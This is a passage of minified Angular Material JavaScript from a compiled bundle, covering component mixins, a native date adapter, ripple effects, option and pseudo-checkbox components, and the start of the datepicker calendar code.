n=d(4650),a=d(2687),s=d(445),c=d(6895),f=d(3353),E=d(1281),_=d(6498),S=d(8929),g=d(1059),C=d(9521);function j(be,Pe){if(1&be&&n._UZ(0,"mat-pseudo-checkbox",4),2&be){const Re=n.oxw();n.Q6J("state",Re.selected?"checked":"unchecked")("disabled",Re.disabled)}}function U(be,Pe){if(1&be&&(n.TgZ(0,"span",5),n._uU(1),n.qZA()),2&be){const Re=n.oxw();n.xp6(1),n.hij("(",Re.group.label,")")}}const G=["*"],K=new n.OlP("mat-sanity-checks",{providedIn:"root",factory:function k(){return!0}});let se=(()=>{class be{constructor(Re,Ue,xe){this._sanityChecks=Ue,this._document=xe,this._hasDoneGlobalChecks=!1,Re._applyBodyHighContrastModeCssClasses(),this._hasDoneGlobalChecks||(this._hasDoneGlobalChecks=!0)}_checkIsEnabled(Re){return!(0,f.Oy)()&&("boolean"==typeof this._sanityChecks?this._sanityChecks:!!this._sanityChecks[Re])}}return be.\\u0275fac=function(Re){return new(Re||be)(n.LFG(a.qm),n.LFG(K,8),n.LFG(c.K0))},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[s.vT,s.vT]}),be})();function ce(be){return class extends be{constructor(...Pe){super(...Pe),this._disabled=!1}get disabled(){return this._disabled}set disabled(Pe){this._disabled=(0,E.Ig)(Pe)}}}function je(be,Pe){return class extends be{constructor(...Re){super(...Re),this.defaultColor=Pe,this.color=Pe}get color(){return this._color}set color(Re){const Ue=Re||this.defaultColor;Ue!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove(`mat-${this._color}`),Ue&&this._elementRef.nativeElement.classList.add(`mat-${Ue}`),this._color=Ue)}}}function Ze(be){return class extends be{constructor(...Pe){super(...Pe),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(Pe){this._disableRipple=(0,E.Ig)(Pe)}}}function le(be,Pe=0){return class extends be{constructor(...Re){super(...Re),this._tabIndex=Pe,this.defaultTabIndex=Pe}get tabIndex(){return this.disabled?-1:this._tabIndex}set tabIndex(Re){this._tabIndex=null!=Re?(0,E.su)(Re):this.defaultTabIndex}}}function Oe(be){return class extends be{constructor(...Pe){super(...Pe),this.errorState=!1}updateErrorState(){const Pe=this.errorState,J=(this.errorStateMatcher||this._defaultErrorStateMatcher).isErrorState(this.ngControl?this.ngControl.control:null,this._parentFormGroup||this._parentForm);J!==Pe&&(this.errorState=J,this.stateChanges.next())}}}function Qe(be){return class extends be{constructor(...Pe){super(...Pe),this._isInitialized=!1,this._pendingSubscribers=[],this.initialized=new _.y(Re=>{this._isInitialized?this._notifySubscriber(Re):this._pendingSubscribers.push(Re)})}_markInitialized(){this._isInitialized=!0,this._pendingSubscribers.forEach(this._notifySubscriber),this._pendingSubscribers=null}_notifySubscriber(Pe){Pe.next(),Pe.complete()}}}const Ye=new n.OlP("MAT_DATE_LOCALE",{providedIn:"root",factory:function qe(){return(0,n.f3M)(n.soG)}});class Ke{constructor(){this._localeChanges=new S.xQ,this.localeChanges=this._localeChanges}getValidDateOrNull(Pe){return this.isDateInstance(Pe)&&this.isValid(Pe)?Pe:null}deserialize(Pe){return null==Pe||this.isDateInstance(Pe)&&this.isValid(Pe)?Pe:this.invalid()}setLocale(Pe){this.locale=Pe,this._localeChanges.next()}compareDate(Pe,Re){return this.getYear(Pe)-this.getYear(Re)||this.getMonth(Pe)-this.getMonth(Re)||this.getDate(Pe)-this.getDate(Re)}sameDate(Pe,Re){if(Pe&&Re){let Ue=this.isValid(Pe),xe=this.isValid(Re);return Ue&&xe?!this.compareDate(Pe,Re):Ue==xe}return Pe==Re}clampDate(Pe,Re,Ue){return Re&&this.compareDate(Pe,Re)<0?Re:Ue&&this.compareDate(Pe,Ue)>0?Ue:Pe}}const dt=new n.OlP("mat-date-formats"),bt=/^\\d{4}-\\d{2}-\\d{2}(?:T\\d{2}:\\d{2}:\\d{2}(?:\\.\\d+)?(?:Z|(?:(?:\\+|-)\\d{2}:\\d{2}))?)?$/;function ze(be,Pe){const Re=Array(be);for(let Ue=0;Ue<be;Ue++)Re[Ue]=Pe(Ue);return Re}let De=(()=>{class be extends Ke{constructor(Re,Ue){super(),this.useUtcForDisplay=!1,super.setLocale(Re)}getYear(Re){return Re.getFullYear()}getMonth(Re){return Re.getMonth()}getDate(Re){return Re.getDate()}getDayOfWeek(Re){return Re.getDay()}getMonthNames(Re){const Ue=new Intl.DateTimeFormat(this.locale,{month:Re,timeZone:"utc"});return ze(12,xe=>this._format(Ue,new Date(2017,xe,1)))}getDateNames(){const Re=new Intl.DateTimeFormat(this.locale,{day:"numeric",timeZone:"utc"});return ze(31,Ue=>this._format(Re,new Date(2017,0,Ue+1)))}getDayOfWeekNames(Re){const Ue=new Intl.DateTimeFormat(this.locale,{weekday:Re,timeZone:"utc"});return ze(7,xe=>this._format(Ue,new Date(2017,0,xe+1)))}getYearName(Re){const Ue=new Intl.DateTimeFormat(this.locale,{year:"numeric",timeZone:"utc"});return this._format(Ue,Re)}getFirstDayOfWeek(){return 0}getNumDaysInMonth(Re){return this.getDate(this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re)+1,0))}clone(Re){return new Date(Re.getTime())}createDate(Re,Ue,xe){let J=this._createDateWithOverflow(Re,Ue,xe);return J.getMonth(),J}today(){return new Date}parse(Re,Ue){return"number"==typeof Re?new Date(Re):Re?new Date(Date.parse(Re)):null}format(Re,Ue){if(!this.isValid(Re))throw Error("NativeDateAdapter: Cannot format invalid date.");const xe=new Intl.DateTimeFormat(this.locale,{...Ue,timeZone:"utc"});return this._format(xe,Re)}addCalendarYears(Re,Ue){return this.addCalendarMonths(Re,12*Ue)}addCalendarMonths(Re,Ue){let xe=this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re)+Ue,this.getDate(Re));return this.getMonth(xe)!=((this.getMonth(Re)+Ue)%12+12)%12&&(xe=this._createDateWithOverflow(this.getYear(xe),this.getMonth(xe),0)),xe}addCalendarDays(Re,Ue){return this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re),this.getDate(Re)+Ue)}toIso8601(Re){return[Re.getUTCFullYear(),this._2digit(Re.getUTCMonth()+1),this._2digit(Re.getUTCDate())].join("-")}deserialize(Re){if("string"==typeof Re){if(!Re)return null;if(bt.test(Re)){let Ue=new Date(Re);if(this.isValid(Ue))return Ue}}return super.deserialize(Re)}isDateInstance(Re){return Re instanceof Date}isValid(Re){return!isNaN(Re.getTime())}invalid(){return new Date(NaN)}_createDateWithOverflow(Re,Ue,xe){const J=new Date;return J.setFullYear(Re,Ue,xe),J.setHours(0,0,0,0),J}_2digit(Re){return("00"+Re).slice(-2)}_format(Re,Ue){const xe=new Date;return xe.setUTCFullYear(Ue.getFullYear(),Ue.getMonth(),Ue.getDate()),xe.setUTCHours(Ue.getHours(),Ue.getMinutes(),Ue.getSeconds(),Ue.getMilliseconds()),Re.format(xe)}}return be.\\u0275fac=function(Re){return new(Re||be)(n.LFG(Ye,8),n.LFG(f.t4))},be.\\u0275prov=n.Yz7({token:be,factory:be.\\u0275fac}),be})();const re={parse:{dateInput:null},display:{dateInput:{year:"numeric",month:"numeric",day:"numeric"},monthYearLabel:{year:"numeric",month:"short"},dateA11yLabel:{year:"numeric",month:"long",day:"numeric"},monthYearA11yLabel:{year:"numeric",month:"long"}}};let ve=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({providers:[{provide:Ke,useClass:De}]}),be})(),We=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({providers:[{provide:dt,useValue:re}],imports:[ve]}),be})(),Be=(()=>{class be{isErrorState(Re,Ue){return!!(Re&&Re.invalid&&(Re.touched||Ue&&Ue.submitted))}}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275prov=n.Yz7({token:be,factory:be.\\u0275fac,providedIn:"root"}),be})(),pe=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275dir=n.lG2({type:be,selectors:[["","mat-line",""],["","matLine",""]],hostAttrs:[1,"mat-line"]}),be})();function P(be,Pe,Re="mat"){be.changes.pipe((0,g.O)(be)).subscribe(({length:Ue})=>{w(Pe,`${Re}-2-line`,!1),w(Pe,`${Re}-3-line`,!1),w(Pe,`${Re}-multi-line`,!1),2===Ue||3===Ue?w(Pe,`${Re}-${Ue}-line`,!0):Ue>3&&w(Pe,`${Re}-multi-line`,!0)})}function w(be,Pe,Re){be.nativeElement.classList.toggle(Pe,Re)}let R=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se,se]}),be})();class X{constructor(Pe,Re,Ue,xe=!1){this._renderer=Pe,this.element=Re,this.config=Ue,this._animationForciblyDisabledThroughCss=xe,this.state=3}fadeOut(){this._renderer.fadeOutRipple(this)}}const _e={enterDuration:225,exitDuration:150},Je=(0,f.i$)({passive:!0}),Et=["mousedown","touchstart"],Dt=["mouseup","mouseleave","touchend","touchcancel"];class Pt{constructor(Pe,Re,Ue,xe){this._target=Pe,this._ngZone=Re,this._isPointerDown=!1,this._activeRipples=new Map,this._pointerUpEventsRegistered=!1,xe.isBrowser&&(this._containerElement=(0,E.fI)(Ue))}fadeInRipple(Pe,Re,Ue={}){const xe=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),J={..._e,...Ue.animation};Ue.centered&&(Pe=xe.left+xe.width/2,Re=xe.top+xe.height/2);const Ae=Ue.radius||function Ie(be,Pe,Re){const Ue=Math.max(Math.abs(be-Re.left),Math.abs(be-Re.right)),xe=Math.max(Math.abs(Pe-Re.top),Math.abs(Pe-Re.bottom));return Math.sqrt(Ue*Ue+xe*xe)}(Pe,Re,xe),mt=Pe-xe.left,Ct=Re-xe.top,jt=J.enterDuration,pt=document.createElement("div");pt.classList.add("mat-ripple-element"),pt.style.left=mt-Ae+"px",pt.style.top=Ct-Ae+"px",pt.style.height=2*Ae+"px",pt.style.width=2*Ae+"px",null!=Ue.color&&(pt.style.backgroundColor=Ue.color),pt.style.transitionDuration=`${jt}ms`,this._containerElement.appendChild(pt);const nt=window.getComputedStyle(pt),Ee=nt.transitionDuration,at="none"===nt.transitionProperty||"0s"===Ee||"0s, 0s"===Ee,Se=new X(this,pt,Ue,at);pt.style.transform="scale3d(1, 1, 1)",Se.state=0,Ue.persistent||(this._mostRecentTransientRipple=Se);let ot=null;return!at&&(jt||J.exitDuration)&&this._ngZone.runOutsideAngular(()=>{const Ne=()=>this._finishRippleTransition(Se),ut=()=>this._destroyRipple(Se);pt.addEventListener("transitionend",Ne),pt.addEventListener("transitioncancel",ut),ot={onTransitionEnd:Ne,onTransitionCancel:ut}}),this._activeRipples.set(Se,ot),(at||!jt)&&this._finishRippleTransition(Se),Se}fadeOutRipple(Pe){if(2===Pe.state||3===Pe.state)return;const Re=Pe.element,Ue={..._e,...Pe.config.animation};Re.style.transitionDuration=`${Ue.exitDuration}ms`,Re.style.opacity="0",Pe.state=2,(Pe._animationForciblyDisabledThroughCss||!Ue.exitDuration)&&this._finishRippleTransition(Pe)}fadeOutAll(){this._getActiveRipples().forEach(Pe=>Pe.fadeOut())}fadeOutAllNonPersistent(){this._getActiveRipples().forEach(Pe=>{Pe.config.persistent||Pe.fadeOut()})}setupTriggerEvents(Pe){const Re=(0,E.fI)(Pe);!Re||Re===this._triggerElement||(this._removeTriggerEvents(),this._triggerElement=Re,this._registerEvents(Et))}handleEvent(Pe){"mousedown"===Pe.type?this._onMousedown(Pe):"touchstart"===Pe.type?this._onTouchStart(Pe):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(Dt),this._pointerUpEventsRegistered=!0)}_finishRippleTransition(Pe){0===Pe.state?this._startFadeOutTransition(Pe):2===Pe.state&&this._destroyRipple(Pe)}_startFadeOutTransition(Pe){const Re=Pe===this._mostRecentTransientRipple,{persistent:Ue}=Pe.config;Pe.state=1,!Ue&&(!Re||!this._isPointerDown)&&Pe.fadeOut()}_destroyRipple(Pe){const Re=this._activeRipples.get(Pe)??null;this._activeRipples.delete(Pe),this._activeRipples.size||(this._containerRect=null),Pe===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),Pe.state=3,null!==Re&&(Pe.element.removeEventListener("transitionend",Re.onTransitionEnd),Pe.element.removeEventListener("transitioncancel",Re.onTransitionCancel)),Pe.element.remove()}_onMousedown(Pe){const Re=(0,a.X6)(Pe),Ue=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;!this._target.rippleDisabled&&!Re&&!Ue&&(this._isPointerDown=!0,this.fadeInRipple(Pe.clientX,Pe.clientY,this._target.rippleConfig))}_onTouchStart(Pe){if(!this._target.rippleDisabled&&!(0,a.yG)(Pe)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;const Re=Pe.changedTouches;for(let Ue=0;Ue<Re.length;Ue++)this.fadeInRipple(Re[Ue].clientX,Re[Ue].clientY,this._target.rippleConfig)}}_onPointerUp(){this._isPointerDown&&(this._isPointerDown=!1,this._getActiveRipples().forEach(Pe=>{!Pe.config.persistent&&(1===Pe.state||Pe.config.terminateOnPointerUp&&0===Pe.state)&&Pe.fadeOut()}))}_registerEvents(Pe){this._ngZone.runOutsideAngular(()=>{Pe.forEach(Re=>{this._triggerElement.addEventListener(Re,this,Je)})})}_getActiveRipples(){return Array.from(this._activeRipples.keys())}_removeTriggerEvents(){this._triggerElement&&(Et.forEach(Pe=>{this._triggerElement.removeEventListener(Pe,this,Je)}),this._pointerUpEventsRegistered&&Dt.forEach(Pe=>{this._triggerElement.removeEventListener(Pe,this,Je)}))}}const te=new n.OlP("mat-ripple-global-options");let x=(()=>{class be{constructor(Re,Ue,xe,J,Ae){this._elementRef=Re,this._animationMode=Ae,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=J||{},this._rippleRenderer=new Pt(this,Ue,Re,xe)}get disabled(){return this._disabled}set disabled(Re){Re&&this.fadeOutAllNonPersistent(),this._disabled=Re,this._setupTriggerEventsIfEnabled()}get trigger(){return this._trigger||this._elementRef.nativeElement}set trigger(Re){this._trigger=Re,this._setupTriggerEventsIfEnabled()}ngOnInit(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()}ngOnDestroy(){this._rippleRenderer._removeTriggerEvents()}fadeOutAll(){this._rippleRenderer.fadeOutAll()}fadeOutAllNonPersistent(){this._rippleRenderer.fadeOutAllNonPersistent()}get rippleConfig(){return{centered:this.centered,radius:this.radius,color:this.color,animation:{...this._globalOptions.animation,..."NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{},...this.animation},terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}}get rippleDisabled(){return this.disabled||!!this._globalOptions.disabled}_setupTriggerEventsIfEnabled(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)}launch(Re,Ue=0,xe){return"number"==typeof Re?this._rippleRenderer.fadeInRipple(Re,Ue,{...this.rippleConfig,...xe}):this._rippleRenderer.fadeInRipple(0,0,{...this.rippleConfig,...Re})}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(f.t4),n.Y36(te,8),n.Y36(n.QbO,8))},be.\\u0275dir=n.lG2({type:be,selectors:[["","mat-ripple",""],["","matRipple",""]],hostAttrs:[1,"mat-ripple"],hostVars:2,hostBindings:function(Re,Ue){2&Re&&n.ekj("mat-ripple-unbounded",Ue.unbounded)},inputs:{color:["matRippleColor","color"],unbounded:["matRippleUnbounded","unbounded"],centered:["matRippleCentered","centered"],radius:["matRippleRadius","radius"],animation:["matRippleAnimation","animation"],disabled:["matRippleDisabled","disabled"],trigger:["matRippleTrigger","trigger"]},exportAs:["matRipple"]}),be})(),m=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se,se]}),be})(),b=(()=>{class be{constructor(Re){this._animationMode=Re,this.state="unchecked",this.disabled=!1}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.QbO,8))},be.\\u0275cmp=n.Xpm({type:be,selectors:[["mat-pseudo-checkbox"]],hostAttrs:[1,"mat-pseudo-checkbox"],hostVars:8,hostBindings:function(Re,Ue){2&Re&&n.ekj("mat-pseudo-checkbox-indeterminate","indeterminate"===Ue.state)("mat-pseudo-checkbox-checked","checked"===Ue.state)("mat-pseudo-checkbox-disabled",Ue.disabled)("_mat-animation-noopable","NoopAnimations"===Ue._animationMode)},inputs:{state:"state",disabled:"disabled"},decls:0,vars:0,template:function(Re,Ue){},styles:[\'.mat-pseudo-checkbox{width:16px;height:16px;border:2px solid;border-radius:2px;cursor:pointer;display:inline-block;vertical-align:middle;box-sizing:border-box;position:relative;flex-shrink:0;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1),background-color 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox::after{position:absolute;opacity:0;content:"";border-bottom:2px solid currentColor;transition:opacity 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox.mat-pseudo-checkbox-indeterminate{border-color:rgba(0,0,0,0)}.mat-pseudo-checkbox._mat-animation-noopable{transition:none !important;animation:none !important}.mat-pseudo-checkbox._mat-animation-noopable::after{transition:none}.mat-pseudo-checkbox-disabled{cursor:default}.mat-pseudo-checkbox-indeterminate::after{top:5px;left:1px;width:10px;opacity:1;border-radius:2px}.mat-pseudo-checkbox-checked::after{top:2.4px;left:1px;width:8px;height:3px;border-left:2px solid currentColor;transform:rotate(-45deg);opacity:1;box-sizing:content-box}\'],encapsulation:2,changeDetection:0}),be})(),B=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se]}),be})();const ie=new n.OlP("MAT_OPTION_PARENT_COMPONENT"),Vt=new n.OlP("MatOptgroup");let qt=0;class u1{constructor(Pe,Re=!1){this.source=Pe,this.isUserInput=Re}}let c1=(()=>{class be{constructor(Re,Ue,xe,J){this._element=Re,this._changeDetectorRef=Ue,this._parent=xe,this.group=J,this._selected=!1,this._active=!1,this._disabled=!1,this._mostRecentViewValue="",this.id="mat-option-"+qt++,this.onSelectionChange=new n.vpe,this._stateChanges=new S.xQ}get multiple(){return this._parent&&this._parent.multiple}get selected(){return this._selected}get disabled(){return this.group&&this.group.disabled||this._disabled}set disabled(Re){this._disabled=(0,E.Ig)(Re)}get disableRipple(){return!(!this._parent||!this._parent.disableRipple)}get active(){return this._active}get viewValue(){return(this._getHostElement().textContent||"").trim()}select(){this._selected||(this._selected=!0,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}deselect(){this._selected&&(this._selected=!1,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}focus(Re,Ue){const xe=this._getHostElement();"function"==typeof xe.focus&&xe.focus(Ue)}setActiveStyles(){this._active||(this._active=!0,this._changeDetectorRef.markForCheck())}setInactiveStyles(){this._active&&(this._active=!1,this._changeDetectorRef.markForCheck())}getLabel(){return this.viewValue}_handleKeydown(Re){(Re.keyCode===C.K5||Re.keyCode===C.L_)&&!(0,C.Vb)(Re)&&(this._selectViaInteraction(),Re.preventDefault())}_selectViaInteraction(){this.disabled||(this._selected=!this.multiple||!this._selected,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent(!0))}_getAriaSelected(){return this.selected||!this.multiple&&null}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._element.nativeElement}ngAfterViewChecked(){if(this._selected){const Re=this.viewValue;Re!==this._mostRecentViewValue&&(this._mostRecentViewValue=Re,this._stateChanges.next())}}ngOnDestroy(){this._stateChanges.complete()}_emitSelectionChangeEvent(Re=!1){this.onSelectionChange.emit(new u1(this,Re))}}return be.\\u0275fac=function(Re){n.$Z()},be.\\u0275dir=n.lG2({type:be,inputs:{value:"value",id:"id",disabled:"disabled"},outputs:{onSelectionChange:"onSelectionChange"}}),be})(),It=(()=>{class be extends c1{constructor(Re,Ue,xe,J){super(Re,Ue,xe,J)}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.SBq),n.Y36(n.sBO),n.Y36(ie,8),n.Y36(Vt,8))},be.\\u0275cmp=n.Xpm({type:be,selectors:[["mat-option"]],hostAttrs:["role","option",1,"mat-option","mat-focus-indicator"],hostVars:12,hostBindings:function(Re,Ue){1&Re&&n.NdJ("click",function(){return Ue._selectViaInteraction()})("keydown",function(J){return Ue._handleKeydown(J)}),2&Re&&(n.Ikx("id",Ue.id),n.uIk("tabindex",Ue._getTabIndex())("aria-selected",Ue._getAriaSelected())("aria-disabled",Ue.disabled.toString()),n.ekj("mat-selected",Ue.selected)("mat-option-multiple",Ue.multiple)("mat-active",Ue.active)("mat-option-disabled",Ue.disabled))},exportAs:["matOption"],features:[n.qOj],ngContentSelectors:G,decls:5,vars:4,consts:[["class","mat-option-pseudo-checkbox",3,"state","disabled",4,"ngIf"],[1,"mat-option-text"],["class","cdk-visually-hidden",4,"ngIf"],["mat-ripple","",1,"mat-option-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-option-pseudo-checkbox",3,"state","disabled"],[1,"cdk-visually-hidden"]],template:function(Re,Ue){1&Re&&(n.F$t(),n.YNc(0,j,1,2,"mat-pseudo-checkbox",0),n.TgZ(1,"span",1),n.Hsn(2),n.qZA(),n.YNc(3,U,2,1,"span",2),n._UZ(4,"div",3)),2&Re&&(n.Q6J("ngIf",Ue.multiple),n.xp6(3),n.Q6J("ngIf",Ue.group&&Ue.group._inert),n.xp6(1),n.Q6J("matRippleTrigger",Ue._getHostElement())("matRippleDisabled",Ue.disabled||Ue.disableRipple))},dependencies:[x,c.O5,b],styles:[\'.mat-option{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative;cursor:pointer;outline:none;display:flex;flex-direction:row;max-width:100%;box-sizing:border-box;align-items:center;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-option[disabled]{cursor:default}[dir=rtl] .mat-option{text-align:right}.mat-option .mat-icon{margin-right:16px;vertical-align:middle}.mat-option .mat-icon svg{vertical-align:top}[dir=rtl] .mat-option .mat-icon{margin-left:16px;margin-right:0}.mat-option[aria-disabled=true]{-webkit-user-select:none;user-select:none;cursor:default}.mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:32px}[dir=rtl] .mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:16px;padding-right:32px}.mat-option.mat-active::before{content:""}.cdk-high-contrast-active .mat-option[aria-disabled=true]{opacity:.5}.cdk-high-contrast-active .mat-option.mat-selected:not(.mat-option-multiple)::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}[dir=rtl] .cdk-high-contrast-active .mat-option.mat-selected:not(.mat-option-multiple)::after{right:auto;left:16px}.mat-option-text{display:inline-block;flex-grow:1;overflow:hidden;text-overflow:ellipsis}.mat-option .mat-option-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-option-pseudo-checkbox{margin-right:8px}[dir=rtl] .mat-option-pseudo-checkbox{margin-left:8px;margin-right:0}\'],encapsulation:2,changeDetection:0}),be})();function _t(be,Pe,Re){if(Re.length){let Ue=Pe.toArray(),xe=Re.toArray(),J=0;for(let Ae=0;Ae<be+1;Ae++)Ue[Ae].group&&Ue[Ae].group===xe[J]&&J++;return J}return 0}function kt(be,Pe,Re,Ue){return be<Re?be:be+Pe>Re+Ue?Math.max(0,be-Ue+Pe):Re}let Fe=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[m,c.ez,se,B]}),be})()},9602:(At,ae,d)=>{"use strict";d.d(ae,{FA:()=>Me,Mq:()=>pt,hl:()=>ot,nW:()=>ut});var n=d(2687),a=d(8184),s=d(4080),u=d(6895),c=d(4650),f=d(4859),E=d(7261),_=d(3238),S=d(8929),g=d(2654),C=d(6787),z=d(1086),H=d(9521),j=d(445),U=d(2986),G=d(1059),Q=d(2198),oe=d(1281),Ce=d(3353),k=d(7340),K=d(4006),se=d(9549),ee=d(4144);const q=["mat-calendar-body",""];function we(O,de){if(1&O&&(c.TgZ(0,"tr",2)(1,"td",3),c._uU(2),c.qZA()()),2&O){const h=c.oxw();c.xp6(1),c.Udp("padding-top",h._cellPadding)("padding-bottom",h._cellPadding),c.uIk("colspan",h.numCols),c.xp6(1),c.hij(" ",h.label," ")}}function ce(O,de){if(1&O&&(c.TgZ(0,"td",3),c._uU(1),c.qZA()),2&O){const h=c.oxw(2);c.Udp("padding-top",h._cellPadding)("padding-bottom",h._cellPadding),c.uIk("colspan",h._firstRowOffset),c.xp6(1),c.hij(" ",h._firstRowOffset>=h.labelMinRequiredCells?h.label:""," ")}}function je(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"td",7)(1,"button",8),c.NdJ("click",function(ke){const Wt=c.CHM(h).$implicit,p1=c.oxw(2);return c.KtG(p1._cellClicked(Wt,ke))})("focus",function(ke){const Wt=c.CHM(h).$implicit,p1=c.oxw(2);return c.KtG(p1._emitActiveDateChange(Wt,ke))}),c.TgZ(2,"div",9),c._uU(3),c.qZA(),c._UZ(4,"div",10),c.qZA()()}if(2&O){const h=de.$implicit,$=de.index,ke=c.oxw().index,lt=c.oxw();c.Udp("width",lt._cellWidth)("padding-top",lt._cellPadding)("padding-bottom",lt._cellPadding),c.uIk("data-mat-row",ke)("data-mat-col",$),c.xp6(1),c.ekj("mat-calendar-body-disabled",!h.enabled)("mat-calendar-body-active",lt._isActiveCell(ke,$))("mat-calendar-body-range-start",lt._isRangeStart(h.compareValue))("mat-calendar-body-range-end",lt._isRangeEnd(h.compareValue))("mat-calendar-body-in-range",lt._isInRange(h.compareValue))("mat-calendar-body-comparison-bridge-start",lt._isComparisonBridgeStart(h.compareValue,ke,$))("mat-calendar-body-comparison-bridge-end",lt._isComparisonBridgeEnd(h.compareValue,ke,$))("mat-calendar-body-comparison-start",lt._isComparisonStart(h.compareValue))("mat-calendar-body-comparison-end",lt._isComparisonEnd(h.compareValue))("mat-calendar-body-in-comparison-range",lt._isInComparisonRange(h.compareValue))("mat-calendar-body-preview-start",lt._isPreviewStart(h.compareValue))("mat-calendar-body-preview-end",lt._isPreviewEnd(h.compareValue))("mat-calendar-body-in-preview",lt._isInPreview(h.compareValue)),c.Q6J("ngClass",h.cssClasses)("tabindex",lt._isActiveCell(ke,$)?0:-1),c.uIk("aria-label",h.ariaLabel)("aria-disabled",!h.enabled||null)("aria-pressed",lt._isSelected(h.compareValue))("aria-current",lt.todayValue===h.compareValue?"date":null),c.xp6(1),c.ekj("mat-calendar-body-selected",lt._isSelected(h.compareValue))("mat-calendar-body-comparison-identical",lt._isComparisonIdentical(h.compareValue))("mat-calendar-body-today",lt.todayValue===h.compareValue),c.xp6(1),c.hij(" ",h.displayValue," ")}}function Ze(O,de){if(1&O&&(c.TgZ(0,"tr",4),c.YNc(1,ce,2,6,"td",5),c.YNc(2,je,5,47,"td",6),c.qZA()),2&O){const h=de.$implicit,$=de.index,ke=c.oxw();c.xp6(1),c.Q6J("ngIf",0===$&&ke._firstRowOffset),c.xp6(1),c.Q6J("ngForOf",h)}}function le(O,de){if(1&O&&(c.TgZ(0,"th",5)(1,"span",6),c._uU(2),c.qZA(),c.TgZ(3,"span",7),c._uU(4),c.qZA()()),2&O){const h=de.$implicit;c.xp6(2),c.Oqu(h.long),c.xp6(2),c.Oqu(h.narrow)}}const Oe=["*"];function Qe(O,de){}function Ye(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-month-view",5),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("_userSelection",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._dateSelected(ke))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)("comparisonStart",h.comparisonStart)("comparisonEnd",h.comparisonEnd)}}function qe(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-year-view",6),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("monthSelected",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._monthSelectedInYearView(ke))})("selectedChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._goToDateInView(ke,"month"))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)}}function Ke(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-multi-year-view",7),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("yearSelected",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._yearSelectedInMultiYearView(ke))})("selectedChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._goToDateInView(ke,"year"))}),c.qZA()}if(2&O){const 